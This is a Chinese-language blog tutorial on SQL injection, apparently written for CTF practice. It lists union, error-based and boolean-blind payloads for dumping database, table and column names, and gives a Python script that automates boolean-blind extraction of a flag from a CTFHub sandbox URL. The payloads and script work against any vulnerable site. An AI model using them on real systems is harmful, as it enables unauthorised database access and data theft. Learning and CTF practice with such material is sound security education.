SQL注入攻击

SQL注入原理

       当在网页上输入信息,对输入的字符串不进行过滤并且输入的字符串会插入到数据库的语句中进行执行时就会出现SQL注入攻击,我们可以把要执行的恶意数据库代码插到字符串中对数据库进行攻击。

SQL注入常用的数据库代码(代码顺序为一般攻击顺序)

1 and 1=1

       恒真语句,可以用来判断sql的方式,以及测试是否有SQL注入,如输入 1 and 1=1返回正确数据,但输入1 and 1=2 返回错误数据则代表这里有sql注入且为整数型注入

order by+num

       这个语句的本来意思是把查询到数据按第num个字段进行排序,当输入的字段不存在时就不会返回数据,可以用这个来猜测这个表一共有多少个字段。

-1 union select +1,2,3...

这个语句本来作用时是把union前后指定的字段一起进行输出,在数据库中有的字段是不会回显在网页上的,通过这个语句我们可以找见回显的字段,假如第二个字段可以回显,那么union后的二会跟着一起输出,我们只要把恶意代码写在2的位置处,就可以把恶意代码的结果输出出来。相当于找见可以显示恶意代码执行结果的位置。

database()

这个语句可以显示当前数据库的名字,配合union可以在前端显示数据库名称,爆库名

group_concat(table_name) from information_schema.tables where table_schema=+库名

这个语句配合union可以爆当前库的表名

group_concat(column_name) from information_schema.cplumns where table_schema=库名 and table_name=表名

这个语句配合union可以爆当前库的当前表的所有字段

group_concat(字段名) from 库名.表名

配合union就可以可以爆想要的字段了

extractvalue()(报错注入使用到的函数)

这个函数有两个参数,第一个参数是目标文件,第二个参数是目标文件的路径,如果路径格式出错,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容,我们只要把上述代码放进第二个参数就可以执行并且返回信息了

sunstr(,,)(布尔盲注)

       第一个参数放要截取的字符,第二个参数是start,开始截取的地方,第三个字符是截取的个数,可以配合这个函数完成库名,表名,字段的截取

ascii()

参数是一个字符,返回字符对应的ascii码,利用这个函数可以匹配字符,猜测字符的ascii码

SQL注入攻击的四种形式

一.整数型注入

       使用环境:我们输入的字符串会被当成数字插入到数据库的代码块中,这时候就可以选择整数型注入了
       攻击方式:当判断是整数型注入时,输入上述代码就好了

二.字符型输入

       使用环境:输入的字符串会被当成字符串处理,即在输入的字符串左右两端加上引号,代码被当成字符串就无法运行了,所以得避免恶意代码在字符串中活用#就好了
       攻击方式:在输入上述代码的过程中注意引号就好了

三.报错注入

       使用环境:当网页不回显数据或者想要的数据为隐藏字段时,就可以利用报错注入让想要的数据通过打印错误信息时被打印出来

四.布尔盲注

       使用环境:当网页不回显具体数据,只显示是否查找成功时就得使用布尔盲注
       攻击方式:可以构造判断语句来测试,如1 and + 构造的语句当我们构造的判断语句为错时,就会返回false,如果对的话就会返回true,我们可以截取库名的第一个字符然后进行ascii匹配找到第一个字符是什么,依次类推,直到找到整个库名,表名和字段同理可得,由于工作量过于巨大,使用脚本完成工作。
代码:import re
import requests
urlpay='http://challenge-9ec535e10df8e9b7.sandbox.ctfhub.com:10800/?id='
table_schema=''
table_name=[]
column_name=''
ans=''
def gettable_schema():#爆库名
length=1;
for length in range(1,11):
url=urlpay+'1 and length(database())='+str(length)
text=requests.get(url=url).text
if 'query_success' in text:
break
print(length)
for i in range(1,length+1):
for j in range(31,128):
url1=urlpay+'1 and ascii(substr(database(),'+str(i)+',1))='+str(j)
text = requests.get(url=url1).text
if 'query_success' in text:
global table_schema
table_schema=table_schema+str(chr(j))
break

#gettable_schema()
#print(table_schema)
def gettable_name():#爆表名
table_length=0
for table_length in range(1,10):
url2 = urlpay+'1 and (select count(table_name) from information_schema.tables where table_schema=database())='+str(table_length)
text = requests.get(url=url2).text
if 'query_success' in text:
print(table_length)
break;
for i in range(1,table_length+1):
name=''
length=0
for length in range(1,10):
url3 = urlpay+'1 and length((select table_name from information_schema.tables where table_schema=database() limit ' +str(i-1)+',1))='+str(length)
text = requests.get(url3).text
if 'query_success' in text:
break;
for reallength in range(1,length+1):
for w in range(31,128):
print('i'+str(i)+' w'+str(w)+' reallength'+str(reallength))
url4 = urlpay+'1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit '+str(i-1)+',1),'+str(reallength)+',1))='+str(w)
text = requests.get(url4).text
if 'query_success' in text:
name=name+chr(w)
break;
global table_name
table_name.append(name)
#gettable_name()
def getans():#爆字段
global ans
for ans_length in range(1,100):
url5 = urlpay+'1 and length((select flag from sqli.flag))='+str(ans_length)
text = requests.get(url=url5).text
if 'query_success' in text:
break
for i in range(1,ans_length+1):
for j in range(31,128):
url6 = urlpay+'1 and ascii(substr((select flag from sqli.flag),'+str(i)+',1))='+str(j)
text = requests.get(url=url6).text
if 'query_success' in text:
ans=ans+chr(j)
break
getans()
print(ans)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值